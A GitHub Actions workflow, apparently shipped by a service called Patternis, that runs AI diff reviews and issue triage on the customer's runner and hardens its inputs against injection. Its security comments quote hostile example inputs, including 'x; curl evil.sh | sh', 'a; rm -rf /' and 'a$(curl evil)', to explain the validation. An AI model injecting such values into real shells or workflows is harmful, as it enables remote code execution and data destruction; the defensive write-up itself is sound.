# Patternis runner — install into .github/workflows/ in your repository.
#
# This is the piece that keeps your AI provider key out of Patternis' servers.
# Patternis dispatches this workflow; it executes on YOUR runner using YOUR
# repository secret, and only a receipt comes back. We never hold your key.
#
# ---------------------------------------------------------------------------
# SECURITY NOTES — please read before editing.
#
# Dispatch inputs are attacker-influenceable. Treat every one as hostile:
#
#   1. NEVER interpolate an input directly into `run:`. Writing
#      `run: echo ${{ inputs.subject_ref }}` is shell injection — a value of
#      `x; curl evil.sh | sh` executes. Inputs reach the shell only through
#      `env:`, quoted, which is why every step below looks slightly awkward.
#
#   2. The callback host is PINNED below, not taken from the dispatch payload.
#      A caller-supplied callback URL is an exfiltration channel: it would let
#      whoever triggers this workflow read your private repository contents by
#      naming their own server. Change PATTERNIS_API only by editing this
#      file.
#
#   3. `permissions:` is minimal and explicit. The default token is broad; this
#      job needs to read the repo and nothing else.
#
#   4. task_kind is a closed enum. Unrecognised values fail the job rather than
#      falling through to a default, so a new task type cannot arrive without a
#      corresponding review of this file.
#
#   5. `id-token: write` lets this job mint a short-lived GitHub OIDC token. That
#      is how the capacity report authenticates itself, so that no shared secret
#      has to exist on either side. The token is AUDIENCE-SCOPED to `patternis`
#      and is useless anywhere else; it is never written to a log, a file, or an
#      artifact. This permission does not grant access to your repository.
# ---------------------------------------------------------------------------

name: Patternis Runner

on:
  workflow_dispatch:
    inputs:
      task_id:
        description: Opaque id issued by Patternis; echoed back in the receipt
        required: true
        type: string
      task_kind:
        description: What to do. Closed set — see the validate step.
        required: true
        type: choice
        options:
          - summarize_diff
          - review_changes
          - triage_issue
      subject_ref:
        description: Git ref or issue/PR number the task applies to
        required: true
        type: string
      tier:
        # Patternis chooses this, charges for it, and records it in the receipt.
        # It was not being passed, so the receipt described a routing decision
        # that had no effect on what actually ran.
        description: Capability tier Patternis routed this task to
        required: true
        type: choice
        options:
          - instant
          - standard
          - deep

permissions:
  contents: read
  # Reading the pull request diff is what a review task operates on. Read-only:
  # v1 observes and reports, and write access would change what the product is.
  pull-requests: read
  issues: read
  # Required to mint the OIDC token used for the capacity report. See note 5.
  id-token: write

concurrency:
  # One run per task id. GitHub retries dispatch, and a duplicate run would
  # double-charge provider capacity for identical work.
  group: patternis-${{ inputs.task_id }}
  cancel-in-progress: false

env:
  # ONE host, in ONE place. Pinned — see security note 2, never make these inputs:
  # a dispatcher-supplied callback URL would mean you cannot tell, by reading this
  # file, where your receipts go, and being able to read that is the point of
  # shipping the file to you at all.
  #
  # This was two full URLs with the host written out twice. That is the same
  # defect the registration page was fixed for — several edits across one host,
  # and missing one leaves a callback pointing somewhere that does not answer.
  # A test asserts this host matches the service host in the app manifest, so the
  # two artifacts cannot drift apart silently.
  #
  # The paths are appended in the shell, because workflow-level `env:` cannot
  # reference its own keys — my first attempt at "one place" defined the base
  # AND kept both full URLs, which is three copies of the host instead of two.
  #
  # SELF-HOSTING: change this line and nothing else.
  PATTERNIS_API: https://api.patternis.dev
  # The audience the token is minted for. Must match the service's expectation, or
  # the report is refused — which is the point: a token for a different audience
  # is a valid GitHub token that simply is not for this service.
  PATTERNIS_OIDC_AUDIENCE: patternis

jobs:
  run:
    runs-on: ubuntu-latest
    timeout-minutes: 15

    steps:
      - name: Validate inputs
        env:
          TASK_ID: ${{ inputs.task_id }}
          TASK_KIND: ${{ inputs.task_kind }}
          SUBJECT_REF: ${{ inputs.subject_ref }}
        run: |
          set -euo pipefail

          # Opaque ids are ours, so we can demand a strict shape. Anything else
          # means the dispatch did not come from a Patternis version we know.
          #
          # This was `[A-Za-z0-9_-]*`, which in a case glob anchors only the
          # FIRST character: it accepted `a; rm -rf /`, `a$(curl evil)`, and an
          # embedded newline. The step is named "Validate inputs" and the comment
          # above claims a strict shape; the pattern examined one character.
          #
          # The anchored form is the NEGATIVE: "contains any character outside
          # the class". A positive glob cannot express "and nothing else"
          # without an explicit tail, which is the trap.
          case "$TASK_ID" in
            '') echo "::error::task_id is empty"; exit 1 ;;
            *[!A-Za-z0-9_-]*) echo "::error::task_id contains unexpected characters"; exit 1 ;;
          esac

          if [ ${#TASK_ID} -gt 100 ]; then
            echo "::error::task_id implausibly long"; exit 1
          fi

          case "$TASK_KIND" in
            summarize_diff|review_changes|triage_issue) : ;;
            *) echo "::error::unsupported task_kind: refusing rather than defaulting"; exit 1 ;;
          esac

          if [ ${#SUBJECT_REF} -gt 200 ]; then
            echo "::error::subject_ref implausibly long"; exit 1
          fi

          # subject_ref was length-checked and nothing else, then handed to
          # `gh pr diff "$SUBJECT_REF"`. Quoting stops the shell from splitting
          # it, but it does NOT stop `gh` from reading a leading `-` as a flag,
          # and a length bound is not a shape.
          #
          # A PR/issue number or a git ref needs only these characters.
          case "$SUBJECT_REF" in
            '') echo "::error::subject_ref is empty"; exit 1 ;;
            -*) echo "::error::subject_ref may not begin with a dash"; exit 1 ;;
            *[!A-Za-z0-9._/-]*) echo "::error::subject_ref contains unexpected characters"; exit 1 ;;
          esac

      - name: Check provider key is present
        env:
          KEY: ${{ secrets.PATTERNIS_PROVIDER_KEY }}
        run: |
          set -euo pipefail
          if [ -z "${KEY:-}" ]; then
            echo "::error::secrets.PATTERNIS_PROVIDER_KEY is not set."
            echo "Add your own provider API key in Settings > Secrets and variables > Actions."
            echo "Patternis never receives this value."
            exit 1
          fi
          # Length only. Never echo a key, and never write one to a log or an
          # artifact — Actions logs are readable by anyone with repo read access.
          echo "provider key present (${#KEY} chars)"

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Gather the subject
        env:
          GH_TOKEN: ${{ github.token }}
          TASK_KIND: ${{ inputs.task_kind }}
          SUBJECT_REF: ${{ inputs.subject_ref }}
          REPO: ${{ github.repository }}
        run: |
          set -euo pipefail

          # Written to a file, never to a log and never into a workflow input.
          # Anything that crosses into a log is readable by everyone with repo
          # read access, and this is the customer's source.
          case "$TASK_KIND" in
            review_changes|summarize_diff)
              gh pr diff "$SUBJECT_REF" --repo "$REPO" > subject.txt
              ;;
            triage_issue)
              gh issue view "$SUBJECT_REF" --repo "$REPO" \
                --json title,body --jq '.title + "\n\n" + .body' > subject.txt
              ;;
          esac

          # Bounded before it reaches a paid API. An unbounded diff is an
          # unbounded bill on the customer's own key, and a five-thousand-file
          # refactor should degrade to a truncated review rather than a surprise.
          MAX_BYTES=100000
          if [ "$(wc -c < subject.txt)" -gt "$MAX_BYTES" ]; then
            head -c "$MAX_BYTES" subject.txt > subject.trimmed
            mv subject.trimmed subject.txt
            echo "truncated=true" >> "$GITHUB_ENV"
            echo "::notice::subject truncated to ${MAX_BYTES} bytes before sending"
          fi

      - name: Execute task
        env:
          PATTERNIS_PROVIDER_KEY: ${{ secrets.PATTERNIS_PROVIDER_KEY }}
          TASK_ID: ${{ inputs.task_id }}
          TASK_KIND: ${{ inputs.task_kind }}
          TIER: ${{ inputs.tier }}
        run: |
          set -euo pipefail

          # The tier Patternis routed to selects the model. Without this the
          # routing decision was decorative: it was chosen, charged for, recorded
          # in the receipt, and never reached the thing that executes.
          case "$TIER" in
            instant)  MODEL="claude-haiku-4-5-20251001" ;;
            standard) MODEL="claude-sonnet-5" ;;
            deep)     MODEL="claude-opus-5" ;;
            *) echo "::error::unrecognised tier: refusing rather than defaulting"; exit 1 ;;
          esac
          echo "tier $TIER -> $MODEL"

          # Provider is inferred from the key's own shape, and an unrecognised
          # shape REFUSES rather than guessing. Guessing here would send the
          # customer's key and their source to the wrong vendor.
          case "$PATTERNIS_PROVIDER_KEY" in
            sk-ant-*) : ;;
            *)
              echo "::error::PATTERNIS_PROVIDER_KEY is not an Anthropic key."
              echo "v1 supports Anthropic keys only. The key is never sent anywhere else."
              exit 1
              ;;
          esac

          case "$TASK_KIND" in
            review_changes)  INSTRUCTION="Review this diff. Note correctness risks and omissions. Be specific and brief." ;;
            summarize_diff)  INSTRUCTION="Summarise what this diff changes, in a few sentences." ;;
            triage_issue)    INSTRUCTION="Classify this issue and state what information is missing to act on it." ;;
          esac

          # jq builds the body from files and variables, so nothing is
          # string-interpolated into JSON. A diff containing quotes or newlines
          # would otherwise produce a malformed request at best.
          jq -n --arg model "$MODEL" --arg instruction "$INSTRUCTION" \
                --rawfile subject subject.txt \
            '{model:$model, max_tokens:1500,
              messages:[{role:"user", content:($instruction + "\n\n" + $subject)}]}' \
            > request.json

          # -D captures response headers to a separate file: remaining quota is
          # only visible here, on the customer's runner, because this is where
          # their key is used. Patternis cannot see it and never asks for it.
          HTTP_STATUS="$(curl --silent --show-error --max-time 300 \
            -o response.json -D headers.txt -w '%{http_code}' \
            -X POST https://api.anthropic.com/v1/messages \
            -H "x-api-key: $PATTERNIS_PROVIDER_KEY" \
            -H 'anthropic-version: 2023-06-01' \
            -H 'content-type: application/json' \
            --data @request.json)"

          if [ "$HTTP_STATUS" != "200" ]; then
            # The status and the provider's error type only. Never the response
            # body, which can echo request content back into the log.
            echo "::error::provider returned $HTTP_STATUS ($(jq -r '.error.type // "unknown"' < response.json 2>/dev/null || echo unknown))"
            exit 1
          fi

          jq -r '.content[0].text' < response.json > result.txt
          jq -n --arg task_id "$TASK_ID" --arg model "$MODEL" --rawfile text result.txt \
            '{task_id:$task_id, model:$model, text:$text}' > result.json
          echo "task complete ($(wc -c < result.txt) bytes of output)"

      - name: Record observed capacity
        if: always()
        env:
          # This step had no env block, and it is the only step in the file that
          # interpolated an input directly into its script — `--arg provider
          # "runner:${{ inputs.tier }}"`. Actions substitutes that text into the
          # shell BEFORE bash parses it, so the value is code, not data.
          #
          # `tier` is `type: choice`, which the dispatch API is believed to
          # enforce. That belief is not a security boundary: it is undocumented
          # as one, it is not verified by anything here, and every other step in
          # this file already uses env. The one step that lacked the pattern is
          # the one that broke it.
          TIER: ${{ inputs.tier }}
        run: |
          set -euo pipefail

          # Read from the provider's own rate-limit headers. Absent headers mean
          # nothing is written, and Patternis then treats this provider as
          # unmeasured — which routes optimistically and self-corrects. A
          # fabricated number would be believed until it expired.
          [ -f headers.txt ] || exit 0
          header() { grep -i "^$1:" headers.txt | tail -1 | cut -d' ' -f2- | tr -d '\r'; }

          REMAINING="$(header 'anthropic-ratelimit-tokens-remaining')"
          RESET="$(header 'anthropic-ratelimit-tokens-reset')"
          case "$REMAINING" in
            ''|*[!0-9]*) echo "no usable rate-limit header; reporting nothing"; exit 0 ;;
          esac

          jq -n --arg provider "runner:$TIER" \
                --argjson remaining "$REMAINING" \
                --arg resets_at "$RESET" \
            '{provider:$provider, remaining:$remaining}
             + (if $resets_at == "" then {} else {resets_at:$resets_at} end)' \
            > capacity.json

      - name: Report remaining capacity
        if: always()
        env:
          RUN_ID: ${{ github.run_id }}
        run: |
          set -euo pipefail

          # Nothing observed, nothing to say. Silence is a valid report state and
          # the service treats it as "unmeasured", which routes optimistically.
          if [ ! -s capacity.json ]; then
            echo "no capacity observed this run; reporting nothing"
            exit 0
          fi

          # Mint an audience-scoped OIDC token. `--silent` keeps it off the log,
          # and it is never written to a file, an artifact, or GITHUB_OUTPUT.
          ID_TOKEN="$(curl --fail --silent --show-error --max-time 15 \
            -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=${PATTERNIS_OIDC_AUDIENCE}" \
            | jq -r '.value')"

          if [ -z "$ID_TOKEN" ] || [ "$ID_TOKEN" = "null" ]; then
            echo "::warning::could not mint an OIDC token; skipping capacity report"
            exit 0
          fi

          # A failed report is a warning, never a job failure. Capacity reporting
          # is an optimisation; the work already happened, and failing the job
          # here would make a reporting outage look like a task failure.
          curl --fail --silent --show-error \
               --max-time 30 \
               -X POST "$PATTERNIS_API/callbacks/capacity" \
               -H "Authorization: Bearer $ID_TOKEN" \
               -H 'Content-Type: application/json' \
               --data @capacity.json \
            || echo "::warning::capacity report failed for run $RUN_ID; routing will treat this provider as unmeasured"

      - name: Return receipt
        if: always()
        env:
          TASK_ID: ${{ inputs.task_id }}
          TASK_KIND: ${{ inputs.task_kind }}
          SUBJECT_REF: ${{ inputs.subject_ref }}
          JOB_STATUS: ${{ job.status }}
          RUN_ID: ${{ github.run_id }}
          REPO: ${{ github.repository }}
        run: |
          set -euo pipefail
          # `if: always()` so a failed run still produces a receipt. A task that
          # fails silently is indistinguishable from one never dispatched, which
          # is the exact failure this product exists to prevent.
          #
          # The receipt carries identifiers and status only — no source, no
          # prompt text, no key. Hashes if content ever needs attesting.
          jq -n \
            --arg task_id "$TASK_ID" \
            --arg task_kind "$TASK_KIND" \
            --arg status "$JOB_STATUS" \
            --arg run_id "$RUN_ID" \
            --arg repo "$REPO" \
            --arg subject_ref "$SUBJECT_REF" \
            '{task_id:$task_id, task_kind:$task_kind, status:$status, run_id:$run_id,
              repository:$repo, subject_ref:$subject_ref}' \
            > receipt.json

          # Authenticated with the same audience-scoped OIDC token as the capacity
          # report. Minted here rather than passed between steps: a token placed in
          # GITHUB_OUTPUT is readable by every later step and by anyone who can read
          # the run, which is the opposite of what a credential is for.
          ID_TOKEN="$(curl --fail --silent --show-error --max-time 15 \
            -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
            "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=${PATTERNIS_OIDC_AUDIENCE}" \
            | jq -r '.value')"

          curl --fail --silent --show-error \
               --max-time 30 \
               -X POST "$PATTERNIS_API/callbacks/receipt" \
               -H "Authorization: Bearer $ID_TOKEN" \
               -H 'Content-Type: application/json' \
               --data @receipt.json \
            || echo "::warning::receipt delivery failed; run $RUN_ID is recorded here regardless"
